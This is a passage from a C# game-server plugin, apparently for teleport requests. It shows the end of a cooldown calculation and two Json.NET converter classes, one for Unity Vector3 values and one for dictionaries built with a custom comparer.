2577 if (cooldown > 0 && timestamp - tprData.Timestamp < cooldown)
2578 remaining = cooldown - (timestamp - tprData.Timestamp);
2579 break;
2580 }
2581 return remaining;
2582 }
2583
2584 #endregion
2585
2586 private class UnityVector3Converter : JsonConverter
2587 {
2588 public override void WriteJson(JsonWriter writer, object value, JsonSerializer serializer)
2589 {
2590 var vector = (Vector3)value;
2591 writer.WriteValue($"{vector.x} {vector.y} {vector.z}");
2592 }
2593
2594 public override object ReadJson(JsonReader reader, Type objectType, object existingValue, JsonSerializer serializer)
2595 {
2596 if (reader.TokenType == JsonToken.String)
2597 {
2598 var values = reader.Value.ToString().Trim().Split(' ');
2599 return new Vector3(Convert.ToSingle(values[0]), Convert.ToSingle(values[1]), Convert.ToSingle(values[2]));
2600 }
2601 var o = JObject.Load(reader);
2602 return new Vector3(Convert.ToSingle(o["x"]), Convert.ToSingle(o["y"]), Convert.ToSingle(o["z"]));
2603 }
2604
2605 public override bool CanConvert(Type objectType)
2606 {
2607 return objectType == typeof(Vector3);
2608 }
2609 }
2610
2611 private class CustomComparerDictionaryCreationConverter<T> : CustomCreationConverter<IDictionary>
2612 {
2613 private readonly IEqualityComparer<T> comparer;
2614
2615 public CustomComparerDictionaryCreationConverter(IEqualityComparer<T> comparer)
2616 {
2617 if (comparer == null)
2618 throw new ArgumentNullException(nameof(comparer));
2619 this.comparer = comparer;
2620 }
2621
2622 public override bool CanConvert(Type objectType)
2623 {
2624 return HasCompatibleInterface(objectType) && HasCompatibleConstructor(objectType);
2625 }
2626
2627 private static bool HasCompatibleInterface(Type objectType)
2628 {
2629 return objectType.GetInterfaces().Where(i => HasGenericTypeDefinition(i, typeof(IDictionary<,>))).Any(i => typeof(T).IsAssignableFrom(i.GetGenericArguments().First()));
2630 }
2631
2632 private static bool HasGenericTypeDefinition(Type objectType, Type typeDefinition)
2633 {
2634 return objectType.IsGenericType && objectType.GetGenericTypeDefinition() == typeDefinition;
2635 }
2636
2637 private static bool HasCompatibleConstructor(Type objectType)
2638 {
2639 return objectType.GetConstructor(new[] { typeof(IEqualityComparer<T>) }) != null;
2640 }
2641
2642 public override IDictionary Create(Type objectType)
2643 {
2644 return Activator.CreateInstance(objectType, comparer) as IDictionary;
2645 }
2646 }
2647
2648 }
2649}
2650